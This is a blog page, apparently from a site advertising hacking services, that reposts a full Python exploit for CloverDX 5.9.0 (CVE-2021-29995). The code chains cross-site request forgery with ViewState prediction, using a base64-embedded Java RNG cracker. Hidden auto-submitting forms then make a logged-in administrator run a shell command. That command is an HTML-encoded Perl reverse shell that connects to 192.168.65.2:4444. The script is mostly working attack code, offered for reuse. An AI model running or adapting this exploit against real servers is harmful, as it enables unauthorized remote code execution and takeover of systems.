Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863101728

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 14.04.2021
# Exploit Author: niebardzo
# Vendor Homepage: https://www.cloverdx.com/
# Software Link: https://github.com/cloverdx/cloverdx-server-docker
# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# CVE : CVE-2021-29995

# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 
#


import http.server
import socketserver
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
from bs4 import BeautifulSoup
import subprocess
import sys
import json


class ExploitHandler(http.server.SimpleHTTPRequestHandler):
	def do_GET(self):
		self.send_response(200)
		self.send_header("Content-Type", "text/html; charset=utf-8")
		self.end_headers()
		
		# replace with your own target
		target = "http://localhost:8080"

		query_comp = parse_qs(urlparse(self.path).query)
		if "target" in query_comp:
			target = query_comp["target"][0]
		
		req = requests.get(target+"/clover/gui/login.jsf")

		if req.status_code != 200:
			sys.exit(-1)

		# parse the reponse retrieve the ViewState
		soup = BeautifulSoup(req.text, "html.parser")
		cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"]

		# Use the ViewstateCracker.java to get new Viewstate.
		new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state])
		new_view_state = new_view_state.decode("utf-8").strip()
		print(new_view_state)
		if new_view_state == "6927638971750518694:6717304323717288036":
			html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>"
			+ "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>")
		else:
			html = ("<!DOCTYPE html><html><head>"
			+ "<script>"
			+ "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}"
			+ "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}"
			+ "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}"
			+ "function exec4(){document.getElementById('form4').submit();}"
			+ "</script>"
			+ "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>"
			+ "<script>history.pushState('','/');</script>"
			+ "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
			+ "<input type='submit' value='' style='visibility: hidden;'></form> " 
			+ "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='allContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='headerForm&#58;manualListenerItem'>"
			+ "<input type='hidden' value='headerForm' name='headerForm'>"
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.source'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskFormFragment' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>"
			+ "<input type='hidden' value='change' name='javax.faces.partial.event'>"
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>"
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>" 
			+ "<input type='hidden' value='on' name='manualListeneForm&#58;saveRunRecord_input'>"
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;manualVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm&#58;execute_button'>" 
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propName'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propValue'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;taskType_focus'>" 
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>"
			#
			# Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode.
			# 
			+ "<input type='hidden' value='&#x70;&#x65;&#x72;&#x6c;&#x20;&#x2d;&#x65;&#x20;&#x27;&#x75;&#x73;&#x65;&#x20;&#x53;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x3b;&#x24;&#x69;&#x3d;"&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x36;&#x35;&#x2e;&#x32;"&#x3b;&#x24;&#x70;&#x3d;&#x34;&#x34;&#x34;&#x34;&#x3b;&#x73;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x28;&#x53;&#x2c;&#x50;&#x46;&#x5f;&#x49;&#x4e;&#x45;&#x54;&#x2c;&#x53;&#x4f;&#x43;&#x4b;&#x5f;&#x53;&#x54;&#x52;&#x45;&#x41;&#x4d;&#x2c;&#x67;&#x65;&#x74;&#x70;&#x72;&#x6f;&#x74;&#x6f;&#x62;&#x79;&#x6e;&#x61;&#x6d;&#x65;&#x28;"&#x74;&#x63;&#x70;"&#x29;&#x29;&#x3b;&#x69;&#x66;&#x28;&#x63;&#x6f;&#x6e;&#x6e;&#x65;&#x63;&#x74;&#x28;&#x53;&#x2c;&#x73;&#x6f;&#x63;&#x6b;&#x61;&#x64;&#x64;&#x72;&#x5f;&#x69;&#x6e;&#x28;&#x24;&#x70;&#x2c;&#x69;&#x6e;&#x65;&#x74;&#x5f;&#x61;&#x74;&#x6f;&#x6e;&#x28;&#x24;&#x69;&#x29;&#x29;&#x29;&#x29;&#x7b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x49;&#x4e;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x4f;&#x55;&#x54;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x45;&#x52;&#x52;&#x2c;">&&#x53;"&#x29;&#x3b;&#x65;&#x78;&#x65;&#x63;&#x28;"&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x73;&#x68;&#x20;&#x2d;&#x69;"&#x29;&#x3b;&#x7d;&#x3b;&#x27;' name='manualListeneForm&#58;shellEditor'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;workingDirectory'>" 
			+ "<input type='hidden' value='10000' name='manualListeneForm&#58;timeout'>" 
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;scriptVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>"
			+ "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "</body></html>")

		self.wfile.write(bytes(html,"utf-8"))


base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg=="

#
# This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#

with open("ViewstateCracker.java","w") as f:
    f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8'))


exploit_handler = ExploitHandler

PORT = 6010

exploit_server = socketserver.TCPServer(("", PORT), exploit_handler)

exploit_server.serve_forever()